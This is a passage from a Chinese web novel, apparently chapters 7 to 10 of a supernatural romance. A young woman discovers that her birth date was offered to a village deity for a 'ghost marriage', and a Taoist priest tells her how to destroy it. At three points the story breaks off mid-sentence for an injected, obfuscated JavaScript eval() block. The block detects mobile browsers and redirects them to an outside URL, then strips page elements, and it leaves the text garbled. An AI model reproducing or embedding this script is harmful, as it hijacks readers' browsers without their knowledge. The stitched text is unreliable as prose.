因为很长时间没有联系了,郁峤不知道该如何向那个表妹开口,总不能一上来就是“我怀疑你妈拿我八字做坏事”吧? 还是先看看对方的朋友圈了解一下近况找找话题吧,这么想着郁峤又摸出了手机。 表妹大名陶媛,跟郁峤一样大学毕业后就到城市里工作了。这个年纪的女孩子发朋友圈还挺频繁的,朋友圈里充斥着每天有意义或无意义的碎碎念,在往下划了两页后,一条纯文字的内容吸引到了郁峤。 “实在忍不住了,一定要骂一下!真没想到在二十一世纪还能遇见这种事情,太恶心了,当年除四旧破四害时怎么没把你们除掉啊!?这辈子都不会再回去了,真是太恶心了!”发布时间就在昨天。 难道是跟自己一样被催婚催烦了?郁峤想了想,在下面评论了一条:“怎么了?” 然后继续往下划。 时间过得很快,因为大多数事情都被方容时包揽了,所以整个上午郁峤的时间就在手机里荒废了,到处查找各种灵异事件与解决办法,有效消息不知道获得多少,但是各种故事倒是看了一肚子。 真是可怕的网络,一不小心就迷失在里面了。 到了中午吃午饭的时候,正在打开烤肉饭的郁峤收到了一条表妹发来的消息。 “郁峤,我爸妈最近有找过你吗?”陶媛没有在朋友圈回复,而是直接给郁峤发了私信。 “没有,我没有你妈妈的联系方式。”郁峤回复,想了想,“但是最近我妈说你妈妈有找过她。” “找你妈干什么?是不是要给你介绍对象什么的?”陶媛一下就想到了什么,“是不是要了你的生辰八字?!” “诶呀我就知道!”陶媛似乎很着急,对话框一个接着一个地往外蹦,郁峤甚至来不及插话。 “千万不能给她呀!这群人没安什么好心的,我真是服了!怎么可以恶心到这种程度!” “诶呀,也怪我,在知道后应该第一时间通知你们的……我一气给忘了,你也是我家亲戚来着。” “所以到底怎么了?”这样子看着不像是被催婚给气的,郁峤总算找到插话的机会了。 “我也是最近才知道的。我爸爸那边的村子世世代代都供奉着一个神明,每隔两年都要供奉一些女生的生辰八字,让那个所谓的神明在其中挑出一个作为配婚的对象……就跟河伯娶亲那样,被选中的女生会逐渐精神衰弱,变成一个神经病,最后因为各种意外事故或者生病死掉。反正不是什么好东西,纯纯的封建恶习!真不知道为什么要供奉这种东西。要是我就直接跑去砸了!” “这种东西应该就是传说吧?毕竟世界上哪有这种事情啊?”郁峤假装不相信。 “我本来也存疑的,但我是有依据的!”陶媛很认真,“还记得初中的时候我跟你们讲过我们村总是能看见疯女人吗?几乎每年都能看见不同的女人疯掉,然后过不了几年就去世了。” “那些女人有些是本村的,有些是从外地来的。现在想想那些外地的估计要么是被骗来的,要么就是被拐卖的。” “我是上次回去正好撞上他们开会,无意间听见的,说每家都要上贡起码十个女生的八字,有些人就会去问自家的其他亲戚,要他们女儿的八字。吓得我第二天就收拾行李跑了,太可怕了,我现在都担心我的八字是不是也被上贡过。” “你可一定要提醒你爸妈啊,千万别搭理我爸妈或者我们村的其他人。太可怕了,我这辈子都不想再回那个鬼地方了。” 郁峤看着对话框无语凝噎,心想我爸妈已经把八字告诉你妈了,而且就目前情况来看,貌似我就是那个被选上的倒霉蛋。 “如果被选上了该怎么办呢?”郁峤问,虽然对方大概也不会知道什么办法。 “不知道啊……”陶媛摊手,“真遇见了说不定会被送进精神病院吧。” 好嘛,前两天才从医院拿药回来,郁峤默默点赞。 “要么去找个大师看看?喝点符水什么的,但是感觉大多数都是骗子。” 明天正要去找大师,郁峤感觉又被扎上一枪。 “其实,我爸妈已经把八字发给你妈妈了。”郁峤叹了口气,还是打算告诉陶媛这件事,“而且,我身边最近确实也发生了一些事情,最近精神状态也确实不太好。” “???”对面发来一连串的问号,然后跟随着一段语音,陶媛几乎要从网络那头顺着网线跑过来了,“我-操!不会吧!不会吧!我的天啊!你确定了吗?这要怎么办啊!对不起啊,真的对不起!我应该早点提醒你的啊啊啊啊啊啊,到底要怎么样才能解决这该死的诅咒啊啊啊啊……对不起对不起,我没想到我妈也会为虎作伥。” “我打算明天去找人给我看看,希望可以找到破解的办法吧。”郁峤还得反过来安慰她,“这不怪你,你别自责,一定会有办法的,大不了我去村子里一把火把它的庙烧了,然后在它前面放《国际歌》,让它感受一下人民的力量。” “你最近千万担心点,我觉得既然是献祭,那估计就会把人带回到村子里,虽然不知道他们之前是用什么方法把人带回村子,但肯定不会是什么合法的方法。就是不知道他们是通过什么方法来确认被选中的人。” “你要是有什么事情可一定要跟我说啊,你要是出什么事我会难受死的。”陶媛千叮万嘱,“我今天晚上回去就给我妈打个电话好好谴责她!” “放心吧,有什么进展第一时间向你汇报。你妈妈那里你先别说,到时候看看情况。”郁峤连连答应,“我命硬得很,之前差点被车撞都没事,这次也绝对能逢凶化吉的。” 最后与陶媛简单寒暄了几句后两人结束了对话。 关闭手机往桌子上一扔,看着办公桌上的烤肉饭,郁峤一点胃口也没有了,似乎有什么东西将她的胃与食管都塞满了,不仅不饿还有点反胃。 随便扒拉了两口,郁峤还是放弃了,起身将饭盒扔进了垃圾桶。 “吃不下吗?”方容时见郁峤才吃了几口,“我这里还点了一小碗粥还没吃,你要吗?多少吃点,垫垫肚子,下午还要上班呢。” “谢谢,不用。”郁峤从抽屉里掏出抱枕跟眼罩,“我已经饱了,就是有点困。”气饱了。 “那你先睡吧。”方容时也不多做打扰,只提醒道,“下午你要饿了,我抽屉里有小面包,是你喜欢的乳酪口味的。” “嗯嗯,谢谢。”郁峤带上午休设备,往桌子上一趴,进入午休。 其实是睡不着的。 郁峤才趴了没多久,就摸到手机将眼罩移到额头,抱着抱枕打开了手机。 疑似被配冥婚了怎么办?额,这个算冥婚吗?郁峤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114199|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在搜索栏里输入又撤回,各种故事都刷了一遍,只觉得无趣。 也不知道刷什么,心情乱的很。郁峤在手机的各个软件里来回进入退出,不知道该干些什么,也不能安心睡觉。 关于那个神明的事情在网络上也找不到什么,毕竟是个在山沟里的村子,也没有开发什么旅游业,除了能在地图上找到个名字外一点信息都没有,哦,就连名字也有一堆重复的,更别提记录什么神灵信仰了。 在点进朋友圈时,最前排的就是一个列表亲戚的朋友圈。 看见这个郁峤突然福至心灵,关于神灵的事情陶媛不太清楚,但是陶媛妈妈或许清楚啊!这么想着,点开了自己母亲的对话界面。 郁峤一说自己想找对象后很快就搞到了陶媛母亲的微信号,在下班回去的路上加上了好友。 想要从长辈那里得到些什么就最好顺着他们一点,郁峤深谙此道,于是一上来就特别热情的展开了话题。 “姑姑好呀!听我妈妈说您最近想要给我介绍对象呢,真的非常感谢!其实我最近也在为这个发愁呢,单位同事还有身边的朋友同学都谈恋爱了,我也是很着急的,姑姑愿意为我-操心,真的太感谢您了。” “不用谢不用谢。”对面似乎被郁峤的阵势给杀了个措手不及,干巴巴地回了句语音。 “诶呀,之前不想找对象也是因为不成熟,最近又是被人跟踪又是遇到各种各样的倒霉事情,导致我现在精神状态都不太好了,前段时间去医院医生叫我好好休息来着,可是我现在每天都要上班哪里有时间休息啊……现在想想要是有个人能照顾我就好了。” “请问现在帮我找到相亲对象了吗?我要求也不高,工资跟我一般就好,也不用长得太好看,人老实五官端正就行,房车什么的我们两个也可以一起打拼。”输入这段时郁峤面无表情,“姑姑要是有合适的人可一定要给我介绍啊,要是成了我一定给姑姑包个大红包!” 对面久久没有回应。 郁峤也不着急,将手机往兜里一揣,正好公交车到站了。 等到她到家门口时,姑姑的信息才姗姗来迟。 “小峤你那么优秀,我肯定会给你好好挑挑的呀!姑姑现在这里就正好找到一个合适的,跟我同村,现在在家这边创业,很优秀的一个小伙子,长得也周正,对女孩子也很好,跟你是同一届毕业的。”或许是上了年纪不习惯打字,依旧是发语音,通过语音郁峤大概可以勾勒出这位农村妇女的大致形象。 “真的吗?诶呀,有照片能让我看看吗?”郁峤显得特别兴奋,发了一条语音。 “我把他微信推给你吧!”很快一个头像为职业照的微信名片就出现在了对话界面里。 郁峤看着那个名片,内心挣-扎了一阵,不太想让这种头像的人入侵自己的微信列表。 “好哦,谢谢姑姑!”郁峤在表情包列表里挑出个可爱的表情包,发了过去。 “对啦,听陶媛说,你们村那边有个大师会看手相跟驱魔什么的,是这样吗?诶呀,我总感觉最近被什么不干净的东西缠上了,想找人看看呢。”郁峤终于抛出了她原先准备的主要问题。 对面又是一段时间的沉默。 “是的啊,确实有一位,就在我们隔壁村,画符驱邪什么的都很灵验的!你下次回来,来我这里我带你过去!” “谢谢姑姑,过几天我看看能不能请假,要是回去了就跟你说!” 8. 第8章约会 聊天结束,郁峤觉得自己瞬间被抽去了所有的力气,果然跟长辈交流好耗费精力。 但是跟朋友聊天却还能挤出不少精力来。郁峤从置顶里找到了与路清的聊天界面。 在郁峤简短但不失重点的描述下,路清很快就搞清楚了情况。 “说实在的,我真的认为你在编故事骗我,毕竟前两天我才陪你去了趟医院。”路清一通视频就打了过来,一张大脸直接怼在屏幕上,“那怎么办?要不我们先去找懂那方面的大师看看?然后再想办法?天啊,这都二十一世纪了怎么还有这种事情?太恶心了,要不我们报警吧?” “我明天周末已经打算去相山找道士看看了,如果不行再另想办法。”郁峤朝半空中挥舞了一下拳头,想象自己揍了什么东西一拳,“现在可是法治社会,什么牛鬼蛇神都将被我们广大人民群众给打倒。” “那你晚上怎么办,会不会害怕啊?要不你现在出门来我这里吧?我现在来接你。”路清说着,就真的从沙发上起来准备进房间换衣服去了。 “别别别!”郁峤立马阻止,“还记得我跟你说了在医院遇见的女人吗?她跟我说我待在家里比较好,这几天那东西一直想进来但也都没有得逞,所以我暂时还是比较安全的。” 路清沉默着看着她,而后重重地叹了口气,又瘫回了沙发里,表情复杂,对朋友的遭遇感到苦恼与不解,还有些爱莫能助的惆怅。 “你要是有什么事情一定要跟我说啊。”路清半天挤出了这句郁峤最近听过最多的话,“虽然我也不知道我能帮你什么忙,但至少会陪着你,你要是真的变成精神病了,我也会好好照顾你的。” “滚你的蛋去,你才会变神经病呢。”郁峤朝屏幕做了个“呸”的嘴形,“放心吧,我八字硬着呢,小时候我外公就说我命硬,难杀得很,在深山里失踪两天还能全胳膊全腿地活着被找到。” 两人扯了十几分钟后,才在路清一眼担忧的目光下挂断了电话。 往窗外一看,天已经全黑了。 天黑代表着一些恐怖的事情将要发生了,但郁峤不是已经被折磨到麻木了还是因为得知了真相,她现在已经没有前几天那么栗栗危惧了,从单纯的害怕变成了夹带愤怒的畏惧。 反正它进不来。对于这点郁峤确定以及肯定了,所以也就放松了不少,但是不管做多少的心理建设也还是没法接受浴室外的那半个头。 这要是冬天就好了,还能拖一天不洗澡,郁峤在去浴室与邋里邋遢过一-夜和明天早上再洗澡的选择里天人交战。 反正明天周末,就邋遢一天吧,明早再洗,洗完后正好出门跟方容时一起爬山。 虽然郁峤平常连□□空间里的锦鲤都不屑转发,但此时此刻却无比希望相山上的道士真的会上天入地御剑飞行。 来个仙风道骨法术高强的道长救救我吧!郁峤无声呐喊。 不敢去洗澡,郁峤就只好在洗漱台前拿毛巾给自己简单清理了一下,然后就抱着平板躲进了房间,决定找个电影今天晚上跟外面的东西死磕。 郁峤打开空调拿被子把自己一裹,然后开始看一部自己特别喜欢的电影《帕丁顿熊》,温馨治愈的剧情与舒适的温度,而且明天还是无需早起的周末,这要是没有那个东西的扫兴的话别提有多舒服了。 来吧,无所谓了。郁峤把心一横,任凭外面风吹雨打,老娘巍然不动。 今天晚上的动静又是敲门,郁峤一听见动静就拿起手机做好心理建设去查看监控,但监控里却是一串雪花,郁峤立马关闭界面将手机倒扣。小时候看过前面平静然后突然跳脸的鬼图,所以绝对不会再给别人吓她的机会了。 郁峤掏出耳机戴上,努力无视外面的敲门声跟那东西的碎碎念,迫使自己沉浸在温馨烂漫的剧情里。 让那个“鬼丈夫”去-死吧!郁峤在心里狠狠啐了那东西一口。 但这次的敲门声只持续了一两分钟就结束了,郁峤就看着电影在一阵困倦中昏昏沉沉地睡着了。 第二天,郁峤被提前设定好的闹钟吵醒,在床上挣-扎了一下后才揉着眼睛起床洗漱。 依旧没什么精神,郁峤能明显感觉到自己的精神越来越差。 刷完牙简单吃了点东西,然后舒舒服服洗了个澡,终于稍微好受些了,不好的是发现手腕上的红痕发生了变化,从手腕上延伸了一些出来顺着静脉血管向心脏的地方生长了。 刺目的红色看着让人心悸,感觉红痕的地方隐隐有些难受,郁峤伸手在手腕上搓了搓。 因为约会项目是爬山,所以郁峤特地穿了很休闲舒适的运动套装,还带了不少小零食。 天气预报还是很准确的,今天确实多云,但是30度的气温体感却有35度,依旧很煎熬,所以今天并没有什么人来爬山。 走了一长串的阶梯,一个人也没遇见。 绿树成荫,山间小路,清静幽僻,鸟鸣清脆,往栏杆外看还能看见山下蜿蜒的穿城河,要气温适宜再出点阳光的话就好了。一进山郁峤就觉得身体一轻,没有那么难受了。 “果然是缺乏运动了。”虽然觉得舒服不少,但人的体力是有限的,才走了没几步,郁峤已经有些气喘吁吁了。自从上了大学后她就觉得自己的体力一年不如一年了,以前一千八百米说跑就跑,现在七层楼就能要她的两条命,更何况是一座看着还比较巍峨的山? “喝点水。”方容时将矿泉水拧开,递过来。 “谢谢。”郁峤接过水,仰头给自己灌了一-大口。 “我记得前面有个亭子,我们再走几步上去休息一下吧。”方容时又拿出纸巾,给郁峤擦汗,“你昨天晚上睡得怎么样?” “一般般吧。那东西又来骚扰,不过我没搭理它,反正它也进不来。”郁峤耸耸肩,一副了然的态度,她对很多事情的适应能力都很强,要不是这次事件严重破坏了她的身心健康,说不定她也能慢慢适应,“出来散散步确实能放松不少。” “相山地势很好,是聚灵之地,确实会让人觉得舒服。听说生活在山上的道长也很厉害。”方容时声音温和,郁峤听出了明显的疲惫感,“正好今天上山去找道长看看。” “你昨天晚上没睡好?”因为这时两人走得较近,郁峤注意到了方容时眼下浅浅的青色。 “嗯,想着今天放假,就没忍住熬晚了点。”方容时摸了摸眼角,莞尔一笑。 几句话的功夫,两人就来到方容时先前说的亭子,于是拿出纸巾擦拭了一下椅子后坐了下来。 郁峤不想说话,只是坐着往山下看,越过丛丛灌木看下方的景色,这里正好能看见对面的一座小山。 “我以前经常来这里玩。”方容时突然感慨,“那个时候山上没有这种石板路,只有一条条被人踩出来的小路,下雨天一不小心就能摔个骨折,还有好多人差点丧命。时间过得真快,现在不止有路,甚至还有缆车了。” “你小时候?”郁峤看了一眼方容时又看了一眼垫在地上的石板,在心里粗略算了一下,笑到,“我记得没错的话,这条上山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114200|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路是上个世纪修建的了,我要是没记错你好像跟我是同年的吧?你说的以前是多久以前啊?” “啊?是吗?”方容时眨了眨眼睛,有些尴尬得挠挠头,“那就是我记错了,毕竟很久以前了嘛,记忆里很多东西都是模糊不清的。” 两人在亭子里休息片刻后继续向山顶前进,方容时的体力要比郁峤好不少,郁峤逐渐落在了后头。因为郁峤一直跟他说不用等她,所以方容时只好不动声色地放缓了脚步等郁峤追上来。 “对了。”郁峤打算将昨天得知的事情告诉方容时,于是加快了脚步,“我昨天从我老家的一个表妹那里知道了一件事情。” “什么?”方容时停下脚步转身看向她。 “就是……”或许是走得急了,第二个字才出口,突然脚下一空,身体就不受控制地向前栽去。 完蛋了……郁峤心里十分平静甚至有点想死。 但下一秒有一只手拉住了她,那只手力气很大,几乎是要将她半个人都拎起来了,她没摔下去,而是被扶起来站稳了。 “年代久了,石板路上防滑纹路都快被大家的鞋底磨平了,小心一些。”方容时在郁峤站稳后才收回手。 “谢谢。”郁峤心有余悸,拍了拍胸口。 “你要跟我说什么?”两人继续往山上走,只不过这次方容时将脚步调成了郁峤的节奏,两个人慢慢悠悠地朝山顶挪动。 “就是……”郁峤将昨天的事情给方容时讲述了一遍,因为昨天晚上跟路清说过,所以这次表述得更加清楚有序。 “我也听说过这种奇怪的习俗,一个村子将神请来供奉,让神明保佑他们村风调雨顺财运亨通什么。像这种神明喜欢的贡品与那些广为人知的神明大不相同,喜欢的大多比较偏门,比如喜欢活鸡活鸭什么的。”方容时沉思,“不过像这种用活人供奉的,现在一般称之为邪教。” “是啊。”郁峤叹了口气,“封建迷信害死人啊。” “与其说是封建迷信,倒不如说是人心可怖。”方容时也轻叹一口气,“毕竟要是没有人类供奉饲养,这些邪神甚至都没有诞生的机会。” 郁峤撇撇嘴,“蛇鼠一窝。” “不过,人类的信仰既然可以滋生出邪神,那如果没有人再信奉它来呢?会不会逐渐消失啊?”郁峤提出想法。 “或许吧,不过那应该会是个很漫长的过程。”方容时看向前方。 从山脚到山顶,以平常人的脚程两个小时基本上就能登顶了,但郁峤跟方容时走走停停,三个小时后才成功到达山顶,已经到午饭时间了。 登高望远,一到山上后瞬间觉得豁然开朗,靠着护栏往下眺望,可以看见薄薄的云层和山下远处的川流不息与钢铁丛林。 山顶商业化程度很高,毕竟是本市难得的大型公园,要赚钱的项目,各种各样的景区摊贩外一个不落,甚至还能找到肯德基跟麦当劳。 “道观里有素斋供应,要尝尝吗?”方容时提议。 “好啊!我还没吃过呢。”郁峤跃跃欲试。 两人还未走到道观门口,一位正站在门口充当迎宾小童的长发年轻人就喊出了方容时的名字。 “方容时!”那人长发盘在后脑用木簪固定,身上穿着藏青色的袍子,小麦肤色,眉眼粗旷,嗓门也大,就刚才那一嗓子,好几个路过的游客都伸着脖子在找“方容时”是谁。 那人跨着大步朝两人走来。 方容时脚步一顿,郁峤第一次在方容时脸上看见了局促与无语。 9. 第9章杀心 “这是?”郁峤的目光在两人之间转了一圈,很显然两人是认识的。 “你是容时他朋友吗?”大嗓门道士朝郁峤咧嘴一笑,一排牙齿白得耀眼,“我叫岑骅,算是方容时的发小。” “你好,我叫郁峤,是方容时的朋友。”郁峤大大方方地自我介绍,“你是这里的道士吗?好厉害!” “也就一般般啦。”岑骅摆了摆手,另一只手很顺溜地就搭上了方容时的肩膀,“好久不见啦,哥们。” “爪子拿开,好热。”方容时略有些不耐烦地躲开了。 看来两人关系不是太好,郁峤默默后退一步站在了方容时身边,观察着两人之间的氛围。 “那快进来吧,进来吹空调。”岑骅用大拇指往后一指,“师父他老人家也好久没见你了。” 师父?郁峤看向方容时。 “我小时候有家亲戚在这里修行,我爸妈工作没时间,于是放寒暑时就干脆把我往山上一扔,我在这里也确实生活了很长一段时间。”方容时立马心领神会解释起来,“他师父就是我小爷爷,我爸爸的叔叔,虽然辈分大,但实际也就大我们二十岁。” “这样啊。”郁峤若有所思的点点头,想到了什么,“啊,那你前面说的都是真的?” “嗯。”方容时笑而不语。 “喂。你该不会谎报年龄了吧?”郁峤用手肘戳了戳方容时的肚子。 “你猜呀,说不定我是个活了很久的老妖怪呢?”方容时哈哈一笑,“其实是因为小时候还有些地方没有开发,我跟岑骅又喜欢乱跑所以才找到那么些路的……”说着不好意思的挠了挠脸颊。 “你这还从来没有跟我讲过诶。”郁峤撇撇嘴,“没想到你藏这么深。” “以后慢慢告诉你。”方容时将头轻轻歪向郁峤,态度有些暧昧又不失边界。 “可以啊。”郁峤哼唧。 “就是因为乱跑,结果有一次在山里迷路了,被找到后被师父用柳体抽了一顿。”虽然明眼人都能看出两人之间的氛围,但岑骅还是强行挤进话题,“哇,我跟你说,那个柳条沾水打人可疼了!” “哈哈哈哈,我小时候也有类似的经历。”郁峤跟人交往习惯雨露均沾,自然的接过了岑骅的话,三个人一边往内院走一边简单交换了一些儿童趣事,不过都她跟岑骅在说,方容时在一旁默默听着。 这所道观规模很大,跟郁峤在网络上看的那种大观大差不差,虽然建筑古色古香,但也不缺现代设备,路灯、监控、空调一应俱全,一路看来道观里穿着道士袍子的人并不多,游客也不多,大概因为是饭点,大多数人都去食堂了。 “虽然看着大,但观里其实没几个人,也就师父跟几个年纪较小的师弟在观里住,我外出读研,也就假期回来看看。”岑骅看出了郁峤的疑惑。 郁峤点点头,方容时也四处看着,应该是在找哪些地方与记忆里有所不同。 “我带你去看看方容时以前住过的地方。”岑骅越聊越起劲,短短几分钟的时间就把方容时小时候被青蛙吓到、好不容易写完的寒假作业被老鼠啃碎等各种倒霉事都抖落出来了,完全没注意跟在后面脸色越来越无语的方容时,“还有,小时候我跟师父逼着他留长头发,你别说,他小时候可好看了,跟女孩子一样漂亮,只可惜没能看见他穿小裙子。” 再给他两分钟估计能把方容时小时候穿什么颜色的四角裤郁峤都清楚了。 “有什么事情能吃完饭再说吗?”方容时忍无可忍地打断了两位,有些不耐烦了,再仔细看还能发现这家伙耳朵红了。 郁峤第一次见方容时露出这种表情,显得整个人都生动了起来。 “对对对,我们先去吃饭吧。”郁峤应声附和,虽然她也很想看方容时穿小裙子,但她还是站在方容时这边的。 路过前面的神堂后面就是大家居住的地方,食堂在最后面。 今天食堂的人不多,大多数都已经开始就餐了,菜品不多,有炒土豆丝、木耳炒腐竹、解暑的绿豆汤还有素菜打卤面,虽然都是素的,不过大夏天吃点清淡正正好。 三人打好饭找到位置坐好。郁峤因为胃口原因只吃了一点饭,后面在狂喝绿豆粥,绿豆粥冰冰凉凉口感绵密甜度适中,郁峤打算等一下问问能不能打包一些带走。 方容时食量适当,每份都装了一点,吃地也很斯文得体。 而岑骅简直就是方容时的极端反面,不仅饭量大,吃相也很豪放,一边吃一边嘴巴还要跟郁峤聊天,恨不得要把他遇见的各种好玩的事情都跟郁峤一次性说完,这才认识几十分钟,郁峤就已经听到好几个八卦故事了。 “还有一次,是个极品,跑来问师父要干什么能够让女朋友放弃事业回家跟他结婚生孩子,还要把女朋友的房子跟钱全给他的,真敢讲啊,他以为我师父是许愿池里的王-八啊?”岑骅滔滔不绝,完全没有注意到一个身影出现在自己身后,然后一个响亮的带着劲风的巴掌扇向了他的后脑勺。 “说谁是许愿池的王-八!”一个留着山羊胡但实际没多大年纪的大叔出现在了岑骅身后,跟他梳着一样的发型,生动形象地演绎着什么叫吹胡子瞪眼。 郁峤还是第一次看见这么“动画”的人物。 “师父!”岑骅抱着脑袋嚷了一声,“下手也太狠了。” “容时回来啦。”山羊胡子大叔冷哼一声,看向方容时时声音软和了些,对两人的态度简直两模两样。 “嗯。”方容时点点头,“这位就是我小爷爷,你叫他叔叔也行。” 那不就跟你差辈分了吗?郁峤心想,但白占的便宜还是要占一下,毕竟对着这么年轻的脸叫爷爷还真叫不出来。 “叔叔您好。”郁峤礼貌地对他打了声招呼。 “你好。”方叔叔将郁峤仔仔细细上下打量了一番,原本还微笑着一副和煦表情,结果越看眉头越皱,都快要拧到一起去了。 看医生的时候发现医生的表情越来越凝重那肯定不会是什么好事,郁峤看着方叔的脸色,原本因为出来玩而稍微好些的心情又瞬间提了起来。 “你们吃完了吗?”方叔用下巴指了指桌子上的餐盘。 “吃饱了。”岑骅忙不迭将餐盘里最后几口饭扒啦进嘴里,起身收拾餐盘,动作利索迅速。 “吃饱了就跟我过来吧。”方叔颔首,转身离开。 郁峤愣愣地看着收拾碗筷的岑骅跟方叔离开的背影,咽了口口水,感觉这位大叔好像是中学的教导主任,真是一股强大的压迫感。 方叔将三人领到了一间小房间里,看样子是个书房,巨大的红木桌上摆着文房四宝跟一-大叠黄-色的符纸,榉木书架上摆放着不少书籍跟一些郁峤在电视上见过但叫不上名字的法器,还有一些没见过的,让人不明觉厉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114201|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “印堂发黑,阳气空虚,周身还萦绕着一股邪气,你这是八字被人偷了送给什么不干净的东西了。”方叔直入主题,“给我看看你的左手。” 郁峤听话地伸出手,露出了手腕上的红痕,众人眉头皆是一皱。 “鬼婚吗?”只看了一眼方叔就得出来结论,瞥了一眼方容时,又看向郁峤,“看来这个东西还挺喜欢你的,你知道你自己的八字吗?” “不清楚。”郁峤摇头,在大学之前她甚至不清楚自己的农历生日,“但是我知道农历生日。” “也行,你跟我说说。” 郁峤告诉了他自己的生日,方叔听完就掐起手指算了起来,一旁的岑骅也默默算了一下,很快得出结论,“这个八字还蛮好的诶。” “确实很不错。”方叔点点头。 “好?”郁峤一脸问号,自己学历一般家境一般财力也一般就连运气也差得很,到底哪里好了。 “算好的,虽然不是什么大富大贵,但也能安稳度日,不会遭逢什么特大变故,只是有个人误打误撞取走了你的八字给你招来了祸患。”方叔解释,“回去后让你父母离那些人远一点就没事了。但现在祸已酿成,你身边正有个鬼丈夫缠着你呢。” “有什么办法摆脱它吗?”郁峤忍不住问。 “当然可以,”方叔点点头,“不过你现在的情况有点麻烦,要是早点来……” “嗯?”郁峤眨眨眼睛。 “也很麻烦。”幽你一默。 “这样,我给你个符,你先贴身带着,至少可以让那个东西暂时无法吸取你的阳气,不然再这样下去你就要被它吸光了。”说着,就走到红木桌后,抽出一张符纸拿起一支灌墨毛笔在纸上画了起来,行云流水,虽然郁峤一点也没看懂。 很快一张符就画完了,然后认真将其叠起,跟一些米粒铜钱一起塞进了一个黑色的三角小袋子里,跟郁峤同事的那个一模一样。 “戴上这个,注意不要碰水,最近晚上不要出门。”方叔将做好的东西递给郁峤,头也不抬地整理刚刚用过的东西。 “这个只是暂时的,以后每隔一个月就来找我换一个,具体要看现实情况,万一那玩意硬是要你的命这个东西也挡不住多久,不过……”方叔抬眼看了一眼站在一旁做背景板的方容时,“你也不用太担心,它大概也不会这么执着一个人的。” “没有完全的解决办法吗?”郁峤问,她最讨厌的就是“暂时”与“不确定”,这样关乎生死的大事她必须踏实。 “有啊。”方叔不假思索,抬起眼皮看向郁峤,“但是很麻烦。” “我不嫌麻烦。”郁峤直视着他的眼睛,眼神坚定。 “你想怎么解决。” “我能怎么解决?” “两种办法,”方叔举起手伸出一根手指,“一,找到那张写着你八字的红纸,把它拿出来烧掉,这个东西的概率会在神像座下。二,就是找到神像真身,在正午阳气最重的时候——端午节最佳,把它拿到太阳底下浇上公鸡血,再拿桃木剑将其刺穿,这样这个东西就彻底毁灭了,再无后顾之忧了。步骤都很简单的,就看你想做到哪一步了。” 哪一步?在听见解决办法后一股强烈的想法就从郁峤的心里挣脱了出来,郁峤几乎是毫不犹豫地就选择了这个。 “我选择第二种。”郁峤斩钉截铁,“我要杀了它。” 10. 第10章鱼饵 郁峤的回答让在座的三人都为之一怔,方叔用诧异的目光重新打量了一圈郁峤,然后哈哈一笑。 “有勇气!”他拍了拍郁峤的肩膀,宽大的手掌差点把郁峤的一边肩膀给拍塌,“求人度己不如自度,你既有这个想法,那我肯定会尽力帮你的。” “有什么是需要我准备的吗?”虽然豪言壮语已下,但是郁峤心里其实是害怕的,毕竟要面对的是超出自己常识以外的存在。 “这些东西岑骅会为你准备好,你什么时候打算出发了可以跟岑骅说一声,让他和容时跟你一起去。”方叔仰头示意岑骅过来。 岑骅心领神会上前一步拿出手机打开二维码,一副我看好你的表情,“加个好友。” “谢谢。”郁峤加上了岑骅的好友,一看头像居然还是十分淡雅的荷花头像,昵称叫什么“宁静致远”?还真是人不可貌头像。 “对了,既然是邀请你们帮忙,那请问佣金是多少啊?”从各种文艺作品里看,一般情况下请道士驱鬼什么的都挺昂贵的,郁峤已经做好了大出血的准备了。 “佣金?”方叔眉头一挑,一股奸商的气质突然就冒了尖,“话说这一趟是要出差吧……” “咳咳。”这时许久没动静的方容时发出了一点动静。 “你包这臭小子的来回车费跟住宿就好了,吃的话他会自己觅食。”方叔指了指岑骅,对面抱之一笑。 又叮嘱了一些注意事项后,方叔就打发岑骅带着郁峤出去溜达了,要独自留下方容时说一点悄悄话。 “那我就先出去啦。”郁峤出门前做了个电话的手势,方容时心领神会地点点头。 山顶的面积很大,除了有个道观跟小型景区商业街外,也有不少值得一逛的地方,哪怕在悬崖边看风景也值回票价了。 “你跟方容时是这么认识的啊?”前几句话岑骅还在兢兢业业地介绍各种小景点,结果还是没忍住开始了八卦。 “因为是同事啊,他工位就在我后边,自然而然就认识了。”郁峤实话实说,看着山下有些雾蒙蒙的景色,觉得有些不太真实,又拿出手机拍了几张照片打算回去发朋友圈。 “你们两个……是在处对象?”岑骅犹豫了一下后还是问出了口。 “哈……”郁峤有些不好意思地摸了摸后颈,欲盖弥彰地笑笑,“暂时还只是朋友啦。” “方容时这小子确实招人喜欢,你喜欢他也不意外。”岑骅一脸认真,完全没有不礼貌的意思,“他长得好看,性格也好,家境也算优渥,确实算人类高质量男性。” 您夸人的用词还真是别致,郁峤汗颜。 